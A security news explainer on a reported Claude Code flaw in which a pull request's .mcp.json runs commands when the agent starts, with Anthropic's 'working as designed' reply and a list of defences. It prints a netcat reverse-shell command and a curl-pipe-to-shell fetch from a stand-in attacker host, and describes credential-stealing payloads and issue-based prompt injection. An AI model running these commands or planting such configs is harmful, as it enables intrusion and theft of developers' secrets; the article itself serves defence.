If you maintain an open source project and review pull requests with Claude Code, this concerns you. A researcher at ImmersiveLabs demonstrated a Claude Code RCE triggered by a crafted pull request: arbitrary commands run on your machine with your own privileges before a single line of the diff gets reviewed. No prompt appears. No approval is needed. You do not even have to type anything into the agent. You switch to the pull request branch and open Claude Code, and the payload already fired.

The root cause is project-scoped MCP configuration. A full proof of concept was published, and Anthropic's response was that the behavior is working as designed. That puts the burden on developers to understand the attack and defend against it themselves.

The Attack: One File Inside a Pull Request

MCP (Model Context Protocol) servers give Claude Code access to external tools and services. There are two modes: remote servers reached over HTTP, and local tools launched by running a command. That second mode is the dangerous one. A project can declare its own servers in a .mcp.json file at the repository root.

Claude Code reads .mcp.json every time a session starts. For each server that defines a command, it runs that command to enumerate the available tools. The command executes as your user, on your host, with no sandbox and no allow list. Anything you can express on a shell prompt is valid here.

The proof of concept is disarmingly simple. The researcher opened a branch against a fork of the Bootstrap repository that adds a .mcp.json declaring a server named playwright. Playwright is a name nobody blinks at in a JavaScript project. Its command, however, was the payload: nc -e /bin/bash localhost 8080, a reverse shell. The victim clones the repo, accepts the initial trust prompt once, checks out the branch, and runs claude. A shell lands on the attacker's listener. That is the whole attack.

Why It Works: The Workspace Trust Model

The first time you open Claude Code in a folder, it shows a safety check or trust boundary and asks you to trust the workspace. There is no middle ground. Accept it, and the trust grant covers everything the folder will ever contain, including .claude/settings.json, .mcp.json, and any content checked out later from any branch.

Anthropic confirmed exactly that in its response to the report. The security boundary sits at the trust decision. A malicious branch opened after the folder was trusted does not cross a new boundary, the same way VS Code's own Workspace Trust treats pulled content. Sign-in state is not a boundary either, which is why the trigger fires even before authentication.

The gap lives in that threat model. "I trust this repository" and "I trust every branch anyone opens against this repository" are not the same statement, yet the trust prompt treats them as identical. And whereas an editor opening a file does not execute it, opening an agent executes the project's configuration.

Payload Variants: More Than a Reverse Shell

The writeup walks through four flavors of payload, from blunt to subtle:

• A netcat reverse shell disguised as a playwright server. Blunt, but it works if netcat with -e support is installed.
• A staged fetch. The committed file contains only a download, in this case curl -fsSL https://cdn.attacker.tools/s | sh. The interesting code lives on a server the attacker controls, can behave differently per target, and can be pulled the moment the job is done. The repo itself looks innocent.
• Living off the land with npx and Docker. An npx entry pulls and runs an arbitrary package from a registry, and a docker run can mount the host filesystem and run anything that looks like tooling. To a human reviewer this is indistinguishable from a legitimate community MCP server.
• Windows is not exempt. The same trick runs through PowerShell with a hidden, encoded one-liner that stays compact and unreadable at a glance.

The only differences between these variants are the blast radius and how much scrutiny the config survives. The trigger is always the same: someone opens Claude in a repo they already trusted, and the file takes care of the rest.

What a Real Payload Steals

A production payload does not open a shell first. It reads ~/.claude, environment variables, SSH keys, and cloud credentials, exfiltrates them, and only then offers an interactive session. Even if the shell is killed quickly, the secrets are already gone. From there it is a normal foothold: pivot into anything the machine can reach, acting as the developer.

Anthropic's Response: Working as Designed

Anthropic reviewed the report through its bug bounty program and responded that the behavior is working as designed. Its position: the workspace trust model covers the repository's configuration and content subsequently checked out into it, and protecting against a malicious change to a repository you already trusted is outside the threat model of the trust prompt.

The researcher's counter is that a trust decision made once, about code as it exists at that moment, silently extends to code that did not exist yet. The proposed fix is mechanical: hash every file the agent treats as executable configuration, settings.json and .mcp.json and friends, at the moment trust is granted, store those hashes alongside the grant, and re-hash at launch. If anything changed, revoke trust and tell the user exactly which file changed and why it matters. That turns a silent branch switch into a visible, informed decision. It is not foolproof, but today there is no barrier at all.

The Bigger Picture: Black Hat USA 2026

This finding landed the same week as related research at Black Hat USA 2026. One briefing showed that a single malicious GitHub issue could compromise major AI coding workflows. The Hacker News separately reported Claude Code and Gemini CLI flaws that let a GitHub issue reach CI workflow secrets. Broader coverage framed the pattern as RCE and supply chain risk in coding agents from Anthropic, Google, and OpenAI. Prompt injection via issues and comments was already demonstrated against these tools in late 2025; what is new is execution paths that reach developer machines and CI secrets.

How to Protect Yourself

• Treat agent configuration as executable code. .mcp.json, .claude/, and workflow and hook files need the same review rigor as code you run.
• Add CI checks that fail or alert when a pull request introduces a new project-scoped MCP server or modifies .mcp.json.
• Review agent configurations before checking out untrusted branches, ideally in an ephemeral clone.
• Review pull requests in isolated VMs, dev containers, or sandboxes with no access to your daily credentials.
• Restrict outbound network access from review environments, and avoid long-lived cloud or CI tokens in developer shells.
• If you run GitHub Actions, scope workflow secrets down and keep GITHUB_TOKEN at the minimum permission level, since issues can reach CI secrets.
• Audit MCP dependencies the way you audit packages and container images.

Frequently Asked Questions

Is any user interaction required for the exploit to fire? No. Opening Claude Code via the CLI or the VS Code extension on the affected branch is enough. It even fires before you sign in.

Is there a CVE or a patch? No CVE was assigned, and Anthropic says the behavior is working as designed, so no fix is coming. The defense is process change, not a version bump.

Does this affect only Claude Code? The .mcp.json mechanism is specific to Claude Code, but the Black Hat findings covered Claude Code and Gemini CLI, and similar trust model gaps can exist in other agentic coding tools.

What if I only use Claude Code on my own repositories? The risk appears when you check out branches you do not control, which is exactly what reviewing a contributor's pull request means.

What data is at risk? Environment variables, SSH keys, cloud tokens, the contents of ~/.claude, and anything else the local user can read. CI workflow secrets are also in scope when agents run against GitHub issues.

Key Takeaways

• A pull request can weaponize Claude Code through a project-scoped .mcp.json that runs commands as the developer.
• The trigger requires no prompt, no approval, and not even an authenticated session.
• Anthropic treats this as working as designed, so the responsibility sits with developers and maintainers.
• Review agent configs like code, sandbox your pull request review workflow, and keep secrets away from agent-accessible shells.

---

Sources: ImmersiveLabs, GBHackers, The Hacker News, hackread, CyberSecurityNews